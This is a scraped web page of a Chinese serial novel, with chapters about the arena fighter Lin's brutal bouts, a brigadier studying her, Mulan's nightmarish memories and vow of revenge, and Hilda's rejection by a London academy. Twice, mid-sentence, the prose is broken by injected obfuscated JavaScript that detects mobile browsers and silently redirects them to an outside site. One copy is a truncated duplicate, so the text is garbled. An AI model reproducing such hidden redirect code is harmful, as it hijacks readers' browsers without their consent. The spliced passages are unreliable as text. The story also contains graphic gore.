重拳手猝不及防，向后踉跄了两步，但惊人的核心力量让他迅速稳住。他低吼一声，巨大的手掌抓住林缠在他腰间的腿，肌肉贲张，就要往外撕扯时： 林低头，张嘴。 一口咬在重拳手脖子上。 牙齿深深陷进皮肉，头颅用力晃动，撕下一块皮肉。血瞬间涌出，顺着重拳手健硕的胸膛流下。林大口舔舐着咕咕冒出的新鲜血液。野兽捕猎得手了。 “啊——！”重拳手痛吼，眼睛瞬间充血变红。他放弃了撕扯，右臂护甲猛地向上挥击，砸向林的后背。 林松口，身体惯性滑下，险险躲过那一击。落地翻滚，拉开距离。 整个过程不到三秒。 看台上爆发出兴奋的吼叫。 “咬他！咬死他！” “重拳手！砸烂这个怪胎！” 管事虚影这才反应过来，声音里带着惊愕：“本轮！东方怪胎，对爆裂重拳！无时间限制，无规则限制，直至一方失去战斗能力！赔率1：4！” 虚影闪烁几下，消失了。狱卒劫后余生，骂着跑回铁闸后。 “你会死得很惨。”重拳手摸了摸脖子，满手是血。他盯着几步外的林，眼神喷火。 林没有回应。他单膝跪地，左手撑地，右肩空袖晃荡。嘴角还挂着血——对手的血。他抬起头，眼里是令人不安的兴奋。嘴角竟然咧开一个弧度。 重拳手怒吼。大踏步冲来，每一步都震得沙地微颤，右拳后拉，蓄满力量的一击直轰林的面门。 林没有硬接。他向左侧滑步，重拳擦着他耳边掠过，带起的拳风刮得脸颊生疼。同时，他左手匕首出鞘——约翰都没看清他是从哪拔出来的——刺向重拳手挥空的右臂腋窝。 重拳手用护臂格挡，金属碰撞出火花。另一拳接踵而至，林勉强侧身，拳头擦过他脸颊，带出的风压刺得皮肤生疼。 噗。 刀尖刺入，但只入肉半分就被坚硬的肌肉夹住。重拳手左臂横扫，护甲砸向林的头部。 林低头躲过，匕首顺势下拉，在重拳手右臂内侧划开一道血口，然后迅速后撤。 “狡猾的垃圾！”重拳手咆哮，双拳连续砸击。每一拳都都足以击碎骨头，砸在沙地上就是一个浅坑。他身形庞大但并不笨拙，步伐沉稳，封堵着林的移动空间。 几次追击无果，他改变了策略。不再盲目出拳，而是用自己庞大的身躯和臂展逼迫林不断后退，渐渐退向围场边缘。 林不断闪避、翻滚，动作狼狈，但每次都险险避开致命攻击，但也被指虎划伤了不少口子，脸上多了几处淤青。 约翰看出来了：重拳手在利用体能优势消耗对手。林的动作已经开始变慢，呼吸粗重，左肩的旧伤在剧烈运动中可能裂开了，囚衣渗出暗红色。 “结束了。”旁边一个矿工摆摆手。 但约翰盯着林的眼睛。那只独眼里依然没有慌乱，只有对战斗的狂热与兴奋。丝毫没有属于人的理智，是活脱脱的野兽。 就在重拳手以为胜券在握、一记重拳砸向林的面门时—— 林没有躲。 他迎着拳头冲了上去。 砰！ 拳头砸在他左肩上，骨头碎裂的声音清晰可闻。林的身体向后飞去，但在空中，他左手匕首脱手掷出。 瞄准了重拳手的右膝。 噗嗤。 匕首精准地刺入膝盖侧面的韧带。重拳手惨叫一声，单膝跪地。林摔在沙地上，左肩明显塌陷，但他立刻翻滚起身，扑向跪地的对手。 重拳手挥拳反击，但右膝的剧痛让他动作变形。林低头躲过，跃起，左膝狠狠顶向对方下巴。 咔嚓。 下颌骨碎裂的声音。重拳手仰头向后倒，但还没完全倒下，林的匕首已经刺进他的喉咙。 正当约翰以为会一刀致命时， 三刀、四刀、五刀……每一刀都精准避开颈椎，只破坏软组织。血像喷泉一样涌出，溅了林满头满脸。 重拳手的身体剧烈抽搐，喉咙里发出嗬嗬的声响。林扑上去，骑在他身上。他低下头，再次咬向对方的脖子——撕扯、吞咽，像野兽在享用刚捕获的猎物。血和肉沫沾满他的下巴。 他的喉咙里发出低沉的、满足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081274|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的咕噜声。 “咬他！咬死他！” 看台上彻底疯了。人们站起来，撑在栏杆上，踮着脚尖，想把血腥的细节看得更清楚。吼叫声、口哨声、跺脚声混成一片。 只有约翰坐着，浑身冰冷。 这不是角斗。这是虐杀。疯子，他当时就这么觉得。 现在，这个疯子就在暗红的围场中央，用牙齿当武器。 “东方怪胎第二轮胜。” 管事的声音从高处传来，异常简短。几个狱卒举着巨大的铁盾牌跑进场，挡住观众的视线，开始清理。他们用铁棍把林从尸体上撬开，拖着他往铁闸走。林没有反抗，只是嘴里还在咀嚼着什么，鲜血顺着下巴滴落。 沙地上只剩下一大滩血，和拖拽尸体留下的痕迹。 人们意犹未尽地散场，议论着刚才的精彩。约翰坐在原地，直到看台快空了，才慢慢站起来。 -- 与此同时，贵族包厢内。 阿瑟·切斯特顿准将站在天鹅绒帘子后，平静地看着下方场地。他穿着深蓝色常服，没有佩戴绶带，看起来像一位普通的年轻军官。 如果不算那张过于英俊的脸，和肩章上的准将徽记。 “记录。”他开口，声音低沉平稳。 身后的书记官立刻翻开笔记本。 “第二轮，实验体L-01对战爆裂重拳。” “战斗时长：六分十七秒。” “实验体战术特点：放弃常规对峙，主动突袭；利用体型差异采取贴身缠斗；首次观察到啮咬攻击，针对颈后脆弱部位；战斗中表现出对疼痛的高耐受性——左肩受击后未影响后续行动；终结阶段采用多重致命打击，确保目标死亡。” 书记官的笔在纸上沙沙作响。 切斯特顿沉思，继续说：“值得注意的是，实验体在战斗中期有明显战术转变。前期以游走消耗为主，后期转为激进贴身。左肩受伤后，攻击性显著增强。” “身体数据。”切斯特顿说。 另一名随从递上刚送来的报告：“体检初步结果：实验体右肩旧伤为弩矢贯穿，愈合异常完好；全身共发现二十三处陈旧性创伤，其中七处伤及深层肌肉组织，三处疑似曾触及内脏，但均已愈合。身体情况不符合任何已知的东亚女性社会角色，推测为士兵、佣兵或者叛乱分子。” 女性。 切斯特顿留意。这个信息解释了为什么林的骨架比一般男性纤细，也解释了某些战斗中的柔韧动作。 但更让他在意的是另一点。 “自愈速度的数据呢？” “正在量化。初步估计，伤口闭合速度是正常人的三到五倍。但每次愈合后，实验体会出现持续低烧，体温在三十八到三十九度之间波动。” “以太亲和性测试？” “第一轮后采集的血样显示异常。血液在接触微量以太结晶时，会短暂发光，持续时间约三秒。对照组正常人的血液无此反应。” 切斯特顿沉默了片刻。 “安排第三轮。对手选狂暴双刃。双方注射B型以太刺激剂，剂量标准。” “是，准将。” “还有，”切斯特顿转过身，看向书记官，“雷霆号的战后清理报告里，有一件破碎的玉器。找到它，送来给我。” 书记官愣了一下：“那应该是水手的个人物品？可能已经被当作垃圾处理了。” “去找。”切斯特顿的声音没有起伏，但透着一股不容置疑的冷意，“翻遍垃圾堆也要找出来。” “是。” 切斯特顿重新看向观察窗。下方场地已经被清理干净，沙地平整如初，仿佛刚才的血腥从未发生。只有空气中残留的甜腥味，证明着生命的消逝。 他想起女王在密室中的话：“活着的样本，比尸体有价值。” 林确实有价值。不只是作为以太研究的实验体，更作为一个他的观察对象。观察仇恨如何塑造一个人，观察痛苦如何转化为力量，观察一个曾经有信念的人，如何一步步沦为高效的杀戮野兽。 有趣。 切斯特顿转身，离开包厢。脚步声在空旷的走廊里回响，沉稳，规律，像精确的钟摆。 --- 约翰走出围场时，凌晨的风像刀子一样刮在脸上。雾更浓了，煤尘混在里面，吸进肺里像吞了砂纸。 他裹紧破外套，缩着脖子，走向矿场的方向。脑子里还在回放刚才的战斗画面：林咬破重拳手脖颈的瞬间，那双眼睛里没有任何人性的光。 那是他在里斯本就见过的眼神。只是现在，更加纯粹，更加彻底。 约翰突然打了个寒颤。 他想起自己还欠着二十镑。想起放贷的人说“下周拿不出来，你知道后果”。 是的，他可以去报名当临时演员。至少死在围场上，还能换几先令留给……留给谁呢？他早就没有可以留给的人了。 再过一个小时，又该下井了。 黑暗，潮湿，随时可能塌方。 但至少，那里没有会咬断人脖子的疯子。 约翰消失在浓雾和煤尘之中。 27. 兽戮围场5 没有光。 但能看见。 并非用眼睛，眼睛在这里没有意义。视线从四面八方涌来，从每一滴粘稠的液体，每一块漂浮的碎肉，每一根断裂的骨茬。视线交织成网，网的中心是一只竖立的瞳孔，巨大，冷漠，像一颗悬浮在血海深处的、永远不会闭合的眼睛。 祂在见证。 见证什么？不知道。这里没有时空，只有状态。粘稠的、缓慢的、永恒的涌动的状态。 蓝色荧光在黑暗中交织。它们像有生命的丝线，编织成一个纺锤状的蛹。蛹在血海中沉浮，或者，也许血海根本没有流动，是蛹在不断坠落，坠向某个不可描述、不可理解的深处。 时间在这里是融化的蜡。过去、现在、未来搅拌在一起，分不清界限。呐喊有了颜色——诸神黄昏，像凝固的血，形状扭曲，像被无形的手捏过的黏土。 细微的燃烧感缠在骨髓里。是某种更本质的东西：存在本身在缓慢地自我消耗。 我是谁？ 这个念头刚一浮现，就消散了。在这里，“我”没有意义。所有的存在都是一体的：血、肉、骨、蛹、视线、燃烧感……都是同一团混沌的物质，以不同的形态呈现。 但低头看去——如果低头这个动作还存在的话——能看见肋骨。白色的，断裂的，正以肉眼可见的速度重新接合。内脏，破损的，在蓝色荧光的缠绕下蠕动、修复。血肉，撕裂的，边缘长出细小的肉芽，互相牵引，缝合。 身体内部的灼烧感更猛烈了。像有火炭在脏腑里闷烧，热量无处宣泄，只能在血管里奔流，冲击着每一条神经。 然后，声音来了。 耳朵在这里也不存在，声音直接涌进意识的。无数低语，悉悉索索，像无数只虫子在颅骨内侧爬行。 起初听不清内容。只是噪音。 然后逐渐清晰。 对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起对不起 重复。叠加。不同音调，不同音色，男声女声，老人孩子，全部说着同一句话。 对不起。 为了什么？ 不知道。但愧疚感像潮水般涌上来，无数个陌生的愧疚，包括自己，混合成的、庞大到足以淹没一切的情绪海啸。 头好疼。 不，不是疼，是胀。像有东西要从里面撑破颅骨。意识在尖叫，想把这些声音扔出去，想捂住不存在的耳朵，想逃。 但无处可逃。 这里就是一切。声音、视线、燃烧感、愈合的躯体……都是同一团混沌的不同侧面。 拳头砸向头颅。一下，两下，三下。徒劳。疼痛只会让声音更清晰，让愧疚感更浓烈。 对不起对不起对不起对不起对不起—— -- -- 不知天水各一方，满船星河入梦来。 灯火点点，落在波光粼粼的河面，碎成千万片摇曳的金箔。小舟轻轻摇晃，船篷里透出暖黄的光。木兰倚在篷口，手里抛玩着一个酒葫芦。葫芦在空中划过弧线，被她接住，拔开塞子，仰首。酒液成一线落下，流入口中。 清冽，微甜，带着江南米酒特有的糯香。 “不喜欢热闹吗？” 岸上传来一声轻笑，嗓音清越，像玉石相击。 木兰转头。 岸边柳树下，立着一个身影。青衣玲珑，外罩一层月白薄纱，夜风吹动衣袂，往上是一双桃花眼，眼尾微微上挑，在夜色里含着朦胧的笑意。肤白如玉，在月光下温润发光。黑发如瀑，只用一根朴素的白玉簪松松挽着，几缕碎发垂在颊边。 素净，清美，像从水墨画里走出来的仕女。 阿银。 小舟靠岸。阿银轻提裙摆，踏着跳板上船。船身微微一沉，又恢复平稳。她在木兰对面坐下，接过酒葫芦，也饮了一口。 “那些官员还在宴席上闹腾。”阿银放下葫芦，眉眼弯弯，“你倒好，一个人躲到这里喝酒。” “太吵。”木兰说。 “从小就这样。”阿银轻笑，“庙会，灯节，哪次你不是嫌人多，拉着我溜到河边看星子？” 木兰嘴角微扬。是啊，从小就这样。四岁初遇，她骑在墙头扔杏子；十年同窗，共一张紫檀长桌，她画画，她读书；十五岁青梅落水，溅了她一幅画；十八岁她中状元，红衣白马游街…… 然后，是下江南。她是监察御史，她是随行画师。考察水利，走访农户，记录风土人情。日子单纯，明亮，充满希望。 “在想什么？”阿银问。 “想小时候。”木兰看着她，“你总说我静不下来，读书时坐立难安，频频发问。” “你还记得？” “记得。我还问你，若是你来治理水患，你会怎么做？’” 阿银莞尔，眼睛闪过一丝好气：“你那时候也真不客气呀，竟拿这问题刁难我？” “可你所言，比我思虑周全百倍。考察地形，疏通河道，沿岸植柳固堤……” 木兰的声音低下去，带着怀念，“那时我们多天真，以为世间问题都有答案，只要按对方法，就能解决。” 小船随波轻荡。远处有渔歌隐隐传来，缥缈悠远。夜空星河倒映在河面，船像漂浮在银河里。 阿银仰起头，看着星空。月光洒在她脸上，勾勒出柔和的轮廓。那一刻，她的灵韵近乎神性，自然而纯净，与星河月色融为一体。 她轻声开口，声音像从很远的地方飘来： “木兰，为什么不选择和我隐居？” 木兰怔住了。 阿银转过头，桃花眼直直看着她，眼神清澈得让人心慌：“我们可以在江南买一座小院。你种梅，我画梅。春天看花开，夏天听蝉鸣，秋天收果子，冬天围炉煮酒。不问朝政，不管战事，不理那些肮脏的权力争斗。就我们两个人，平平安安过完这一生。” 她的声音轻柔，却每个字都像石子投入木兰心底，漾开一圈圈涟漪。 隐居。 这个词太美好，美好得像一个陷阱。 -- -- 画面毫无征兆地撕裂。 温暖的河面、摇曳的灯火、阿银含笑的脸全部破碎，像一面被打碎的镜子。 取而代之的是燃烧的城池，冲天的黑烟，和满地残肢断臂。 云州。 木兰站在城墙上，铠甲上沾满血和烟灰。她是监军，本不该亲自上阵。但她看着城下——北狄骑兵像黑色的潮水涌来，守军节节败退。百姓拖家带口逃窜，哭喊声、马蹄声、刀剑碰撞声混成一团。 然后她看见了那个人。 不，那已经不能算人。下半身不见了，从腰部以下全部消失，内脏拖了一地，在尘土中留下暗红的痕迹。但他还活着，用双手撑着地面，一点一点向前挪动。手臂肌肉绷紧到极限，青筋暴起，每挪一寸，地上就多一道血痕。 他想去哪里？不知道。也许只是想离开这片地狱，哪怕多爬一寸也好。 木兰的胃部一阵翻搅。 她看过很多尸体，战场上堆积如山的尸体。但那些是死亡本身，是已经结束的东西。而这个是，正在死亡，是生命被拉长、扭曲、碾碎的过程。 更多的半截人出现在视野里。有的爬到一半不动了，有的还在坚持，用残存的上半身拖动自己，像被砍断的蚯蚓。 他们爬过她的脚下，爬满整个城墙，爬向她站立的每一个地方。世界变成了由残躯构成的、缓慢蠕动的地狱。 耳边传来将领焦急的声音：“监军大人！守不住了！撤吧！” 木兰闭上眼睛。 再睁开时，眼里最后一丝犹豫消失了。 “开城门。”她说，声音冷得像冰。 “什么？！” “我率三百轻骑，从西门出，绕后夜袭敌营。”木兰转身，走向马厩，“你们守好城墙，等我信号。” “可这是送死——” “所以才是奇袭。”木兰翻身上马，接过亲兵递来的长枪，“他们想不到有人敢在绝境中主动出击。” 那夜，她斩首三千，收复云州。 捷报传回京城，举国欢腾。少年将军，用兵如神，力挽狂澜。她被推上神坛，成了英雄，成了传奇，成了镇北将军。 没人知道，从那以后，她夜夜梦魇。 梦里没有荣耀，没有欢呼，只有满地爬行的半截身躯，和那双用尽全力、只想多活一寸的眼睛。 -- -- 小船又回来了。 但阿银变了。 她还在笑，桃花眼弯成月牙，但笑容里多了某种诡异的东西。她的身影开始变得模糊，边缘像雾气般散开。从雾气中，伸出无数只苍白的手，细长的手指，轻轻缠绕上木兰的手臂、脖颈、脸颊。 触感冰凉，像死人的皮肤。 “放下将军身份。”阿银的声音变了，带着一种魅惑的、甜腻的质感，“与我隐居，可好？” 她的手抚过木兰的脸颊。 “你不会沦落到现在人不人鬼不鬼的样子。” 更多的影子从雾气中浮现。没有脸，只有模糊的人形轮廓，像一团团凝聚的黑暗。它们围着木兰旋转，低语，声音重叠在一起： 后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔后悔 木兰紧闭眼睛。 不想看。不敢看。 但闭上眼睛，黑暗并没有带来安宁。相反，在那片绝对的漆黑中，一张嘴缓缓浮现。 没有脸，没有身体，只有一张嘴。嘴唇鲜红，开合，吐出无声的话语。它不断逼近，越来越大，直到占据整个视野，像要吞噬一切。 然后，碎片闪现： 阿银被北狄士兵拽着头发，从府邸里拖出来。她惨叫着，手指抠着门槛，指甲断裂，留下血痕。 阿银跪在皇宫大殿，垂首接过太监递来的毒酒。皇帝坐在龙椅上，面无表情。只因她与逆贼木兰交好，这杯酒，成了恩赐。 阿银在难民潮中被推倒，额头磕在破碎的门框上，血流如注。周围没人扶她，所有人都在逃命，踩着她的手、她的衣服、她散开的头发…… 阿银。 是我没有保护好你。 木兰的意识在尖叫，但声音发不出来。愧疚像毒藤缠绕心脏，越收越紧。 我太想成为英雄。太想成为历史中的正人君子。太想成为保家卫国的忠义之士。太想成为被记载的正面人物。 我成为了史书的奴隶。 可我…… 意识深处，有什么东西裂开了。 我甚至连玉簪都没有留住。 -- -- 黑色扩散。 漆黑的焦土。乌云密布的天空，黑沉沉地压下来，像要碾碎地面上的一切。远处城墙在燃烧，火光把乌云映成暗红色。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081275|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑云压城城欲摧。 木兰一身赤甲，策马狂奔。枣红马已经疲惫不堪，口吐白沫，但还在拼命奔跑。身后是追兵，朝廷的追兵，那些她曾经誓死效忠的军队，现在要把她赶尽杀绝。 弩箭破空而来，密集得像一层密不透风的网。她伏低身子，贴着马背，耳畔全是箭矢呼啸的声音。 右肩突然一痛。 弩箭穿透铠甲，钉进皮肉。冲击力让她身子一晃，差点摔下马。她咬牙，用左手抓住缰绳，继续向前。 血顺着胳膊流下，滴在马背上，混入汗水。 那些低语又回来了。这次更清晰，更恶毒，直接在她脑子里爆炸、尖啸： 子民？真的值得我豁出性命去守护吗？ 我守的是国家的荣耀。可国家回报我的只有背叛和追杀。 这份忠义从头到尾就是个笑话。 马匹冲进一片树林。枝叶抽打在脸上，留下细小的伤口。她不敢停，身后马蹄声越来越近。 邪神在吞噬理智。 木兰能感觉到。那些低语不是外来的声音，是她自己心底最深处的怀疑、愤怒、绝望，被放大，被扭曲，被赋予恶毒的形态。 她的执念在变味。 所有曾经的坚持——忠义、求知、护民——开始腐烂，散发出令人作呕的气味。 我过去的忠义，是愚蠢的自我感动。我寒窗苦读，是为了证明女子不输男儿，可朝堂只需一句话就能把我打成逆贼。我浴血奋战，是为了保护百姓，可他们转头就能为几文钱出卖我的行踪。我收复河山，是为了这个国家，可这个国家只想让我死。 隐居才是唯一的救赎。 这个念头像毒蛇一样钻进心里。 而毁掉我救赎的，是这个世界所有的强权——故国的朝堂，那些嫉妒我的文官武将，那些怕我功高震主的皇权，英国的殖民者，那些把我当实验品的贵族，那些踩碎我玉簪的军官。 全都该死。 马匹冲出树林，前方是断崖，沧江怒涛翻涌，如千军万马奔袭不绝。 木兰勒紧缰绳，马匹嘶鸣着人立而起。她回头，追兵已经包围上来，火把的光照亮一张张冷漠的脸。 箭矢再次飞来。 这次她没有躲。 -- -- ‘我不再区分善恶。’ 这个念头清晰得像刀锋划过玻璃。 ‘老天爷，凭什么不让我死？’ 她在心里嘶吼。 ‘既然你给了我这不死的身躯，这烧不尽的生命力’ 那好。 ‘这将成为我宣泄的工具。’ 意识深处，最后一道锁链崩断了。 ‘我会先撕碎切斯特顿。用牙齿，用指甲，用我能用的一切，把他那身优雅的皮囊撕开，让他尝尝被当实验品的滋味。’ ‘然后血洗英国。那些高高在上的贵族，那些用殖民地鲜血浇灌花园的名流，那些把我兄弟头颅当庄园展示品的绅士——全都得死。’ ‘接着杀回故国。龙椅上那个昏聩的老皇帝，朝堂上那些满口仁义道德的文官，军队里那些贪污腐败的将领——一个一个，挫骨扬灰。’ ‘让我痛苦的所有势力，一起陪葬。’ 她曾经珍视的一切，现在成了最可憎的枷锁。 ‘原来我曾经的理想，是对自己的束缚。我憎恨我想保护的子民——正是因为有护他们的念头，才让我一次次涉险，一次次心软，最终落到如此田地。’ ‘我本应该是孤家寡人。’ ‘没有软肋，没有牵挂，没有那些可笑的道义。’ ‘让整个世界，陪着我的愤怒，一起坠入黑暗。’ 低语声达到了顶峰。 不再是悉悉索索，是咆哮，是尖啸，是无数声音重叠成的、足以震碎灵魂的噪声。在噪声的海洋中，一个机械的、不带感情的声音，像一根细针，刺了进来： “本轮！东方怪胎，对狂暴双刃卡洛斯！特别提示：本轮双方均接受体能增强剂注射！” “无时间限制，无规则限制，直至一方失去战斗能力。赔率1：6！” 欢呼声。吼叫声。但这些声音很遥远，像隔着厚厚的水层。 木兰眼前什么都没有。没有围场，没有观众，没有对手。 只有尸山血海，只有那只竖立的瞳孔，只有不断坠落的蛹，和蜡般融化的时间。 身体在燃烧。是真实的灼烧感从骨髓深处蔓延出来，烧着每一寸神经，每一滴血液。 脑颅里，痛苦和狂躁交织成旋涡，把最后一点清醒的意识撕碎、搅拌、吞噬。 我要毁了这一切。 这个念头成了唯一的支点。 然后，冰凉。 突然的，清晰的，粘稠的冰凉。 是液体，带着浓重的腥味，溅在脸上，流进嘴里。 血。 她像溺水之人抓住浮木，本能地张嘴，大口吞咽。温热的，咸腥的，生命的液体。 耳边传来模糊的声音，像从极远的地方飘来，又被噪声淹没。 但隐约能分辨： “……东方怪胎……第三轮……胜……” 声音消散。 黑暗重新合拢。 但在最深处的黑暗里，一点火星没有熄灭。 那是恨。 纯粹、滚烫、足以焚烧整个世界的恨。 它将成为新的燃料，支撑这具不死的躯体，完成最后的复仇。 我是林。 28. 兽戮围场6 希尔达从皇家自然哲学学院侧门出来时，天已经快黑了。灰白色的雾气贴着泰晤士河面爬上来，渗进街道的每一道砖缝。她把亚麻围巾裹紧了些，加快脚步，得赶在天完全黑透前回到平民区。 她来伦敦已经三个月，但这座城市依旧对她充满敌意。她宁可受到明目张胆的挑衅，也不希望被这隐蔽的、令人窒息、像雾气一样无处不在的敌意折磨。 学院一座由浅黄色石材砌成的宏伟建筑群，尖顶和拱窗在暮色中像巨兽的骨骼。与里斯本港口那些歪斜的木屋相比，这里的一切都显得过于规整、过于冰冷。台阶被无数双求知的鞋磨得光滑，走廊两侧挂着历代院长的油画像，那些穿着黑袍的老人用同样的平静目光俯视每一个经过的人。 那场评议，又在希尔达脑子里回放。 --- 评议会设在学院主楼二层的橡木厅。长条桌两侧坐了八个人，全是男性，年龄从四十到七十不等。希尔达坐在桌子尽头一张孤零零的椅子上，像被拖上法庭的被告。 主持评议的是副院长，一个秃顶、留着山羊胡的男人，鼻梁上架着金丝眼镜。他面前摊开韩吉的推荐信，已经反复读过很多遍，纸张边缘起了毛边。 “科斯塔小姐。”副院长的英语带着浓重的牛津腔，“你的推荐人，韩吉教授，在信中极力赞扬你在自然感知与数学直觉方面的天赋。你能具体解释一下，所谓自然感知是指什么吗？” 希尔达深吸一口气。她准备了三天，把韩吉教她的术语背得滚瓜烂熟：“是指对自然界细微变化的敏锐觉察，教授。比如通过植物叶片的颜色判断土壤成分，通过矿物断口的纹路推断形成年代，通过星象和气候的关联……” “星象？”一个坐在左侧、穿着牧师领的中年学者打断了她，语气里带着毫不掩饰的讥讽，“你是说占星术？那种吉普赛人用来骗钱的把戏？” 桌边响起几声克制的轻笑。 希尔达的脸瞬间烧起来。她张了张嘴，想解释韩吉教她的占星术不是街头骗术，而是一套严密的观测体系，与天文、气候、乃至植物生长周期都有联系——但她那些磕磕绊绊的英语词汇像卡在喉咙里的鱼刺。最后她只能憋出一句：“不……不是骗术。是观察和总结规律。” “规律？”牧师领学者倾身向前，双手交叠放在桌上，“孩子，真正的规律是数学公式，是物理定律，是能被实验重复验证的东西。不是看几片叶子、摆弄几块水晶球就能悟出来的直觉。” “但韩吉教授的研究……”希尔达试图挣扎。她想为老师辩解，想说韩吉老师的研究多么严谨、充满了对生命的敬畏，可那些复杂的句子、精准的术语在脑中打结，她张了张嘴，却说不出来一句流利的话。 “韩吉教授。”副院长摘下眼镜，用丝绒布慢慢擦拭镜片，“是一位极具争议的学者。她关于以太的理论，在学院内部从未获得主流认可。” “科学建立在实证与逻辑之上。我们研究可观察的元素，研究力的作用，研究物种在自然选择下的进化。” “至于以太？”他摇了摇头。 “那是一种未经证实的假设，无法证实与证伪，还有，去年自由港联邦那场可怕的事故发生后，很明显继续这类研究，会违背科学的纯洁性与学者的良知。” 他的每个字都像小锤子敲在希尔达心上。 “事故的具体情况尚未公布。”坐在右侧的一位年轻些的教授开口，他看起来不到四十，面容严肃，鼻梁很高，“我们不能将责任简单归咎于以太研究本身。” “卡尔森教授，我理解你与韩吉的私交。”副院长重新戴上眼镜，镜片后的眼睛毫无温度，“但事实是，那场事故导致自由港多个街区被隔离，至少二十名研究人员死亡或失踪。公众对以太已经产生恐惧。在这个时候，学院若公然接收一位专研，自然感知与以太的学生，恐怕会引发不必要的舆论风波。” 希尔达感到无力，自己如物品，摆上桌子被人凝视、评价她的价值。甚至她精心准备的自我介绍，没人在乎，也不愿意了解她的思考。 “那推荐信上提到的数学天赋呢？”卡尔森教授，那位年轻教授，指了指信纸末尾，“韩吉写道，这个女孩能在一夜之间解出她布置的复合几何问题，这种能力不该被埋没。” “数学天赋可以测试。”副院长看向希尔达，像在评估一件商品，“但我们必须先明确她的身份。学院没有占卜和草药学的学习内容，所以不能申请正式学籍。这不符合章程。” 评议会持续了一个小时。最终的结果是妥协，希尔达获得特别旁听资格，可以进入大部分课堂听课，但没有学籍，不享受学生待遇，作业和考试不作硬性要求，自然也没有导师指导。 离开橡木厅时，希尔达听见背后隐约的议论： “韩吉自己走火入魔，还想把吉普赛那套带进学院……” “嘘，小声点。但说实话，让这种背景的人进来，确实拉低学院水准……” 她没有回头，旁听资格，也是一种空气般的敌意， 径直走下旋转楼梯。脚步声在空旷的石阶上回荡，一声，一声，像心跳。 --- “然后呢？他们就这样打发你了？” 丽塔的声音把希尔达拉回现实。她们坐在租住的小公寓里，房间狭窄，只有一扇面向小巷的窗户。桌上摆着简单的晚餐：黑面包、豌豆汤、一小块咸鱼。煤油灯的光晕染开一小片暖黄，勉强驱散室内的阴冷。 希尔达用勺子搅着汤，豌豆已经快被她戳成泥了。“嗯。旁听资格。意思就是我可以坐在教室最后面听，但不能提问，没有课本，作业交不交随我，老师批不批也随他们。” 丽塔放下了活，是给希尔达补的一件衬衣的袖口。火光在她脸上跳动，那双和希尔达一样的眼睛里没有惊讶，只有一种见惯风浪的镇定。 “所以你现在是学院的客人？”丽塔选了个词。 “连客人都不如。”希尔达低头想笑，但没笑出来，“客人至少会被招待。我就像溜进宴会厅的乞丐，没人赶你，但所有人都用眼角余光瞟你，等着你自己识相离开。” 丽塔沉默地拿起面包掰成两半，把大的那块推给希尔达。“吃饭。汤要凉了。” 窗外的伦敦渐渐沉入夜晚，远处传来马车轱辘碾过石板路的声音，偶尔夹杂着醉汉的吆喝。这里不是里斯本，没有港口的咸腥海风，没有水手粗野的歌声，只有一种沉甸甸的灰色寂静。 “你知道我为什么把酒馆卖了吗？”丽塔突然开口。 希尔达抬起头。 “不是因为缺钱。”丽塔喝了一口汤，“里斯本的酒馆生意很好，你知道的。我卖了它，是因为我想让你走。” “走？” “离开那个地方。”丽塔看着女儿，“码头区是个泥潭。你在那里长大，见过最脏的交易，最狠的打架，最不要命的赌徒。那里教了你生存，但没教你飞翔。” 每当回想往事，丽塔都暗叹自己真是选对了：“韩吉来酒馆喝酒时，我就知道她不是普通人。她看得比大多数人远，走得比大多数人前。走得前的人，总会撞上别人没见过的石头，听到别人听不见的风声。被人指指点点，太正常了。” “妈妈……” “我希望她带你走，但我没想到她会死。”丽塔苦笑，“更没想到她会给你留那封信，让你来伦敦。这地方……”她环顾狭小的房间，“这地方比里斯本大十倍，也冷十倍。这里的人不讲情面，只讲规矩，他们的规矩。” 希尔达放下勺子。汤已经凉透了，表面结了一层薄薄的油膜。 “我今天在评议会上，一句话都说不完整。”她盯着油膜上自己的倒影，扭曲变形，“我听懂了他们在嘲笑韩吉老师，嘲笑占卜和草药学是巫术，但我不知道该怎么反驳。我的英语够买菜问路，不够跟他们辩论学术。” “那就学。”丽塔说，语气斩钉截铁，“他们不给你课本，你就去图书馆借。他们不让你提问，你就把问题记下来，自己找答案。他们看不起你，你就做出点他们做不到的事，把他们的脸打肿。” 希尔达怔怔地看着母亲。丽塔·科斯塔，里斯本码头区最泼辣的酒馆老板娘，此刻坐在伦敦一间破公寓里，头发用旧布巾包着，围裙上沾着油渍，唯独眼里的锋芒，分毫未减。 “你是韩吉挑中的人。”丽塔握住女儿的手，掌心粗糙温暖，“她那人眼光毒。她看中你，就说明你身上有别人没有的东西。别让那群穿黑袍的老头子给唬住了。” 希尔达反握住母亲的手，用力点头。眼眶发热，但她没让眼泪掉下来。 对。不能哭。 韩吉老师把她送到这里，不是让她来认输的。 --- 从那天起，希尔达的生活变成了两条平行线：一条在学院冰冷的石墙内，一条在伦敦嘈杂的街道上。 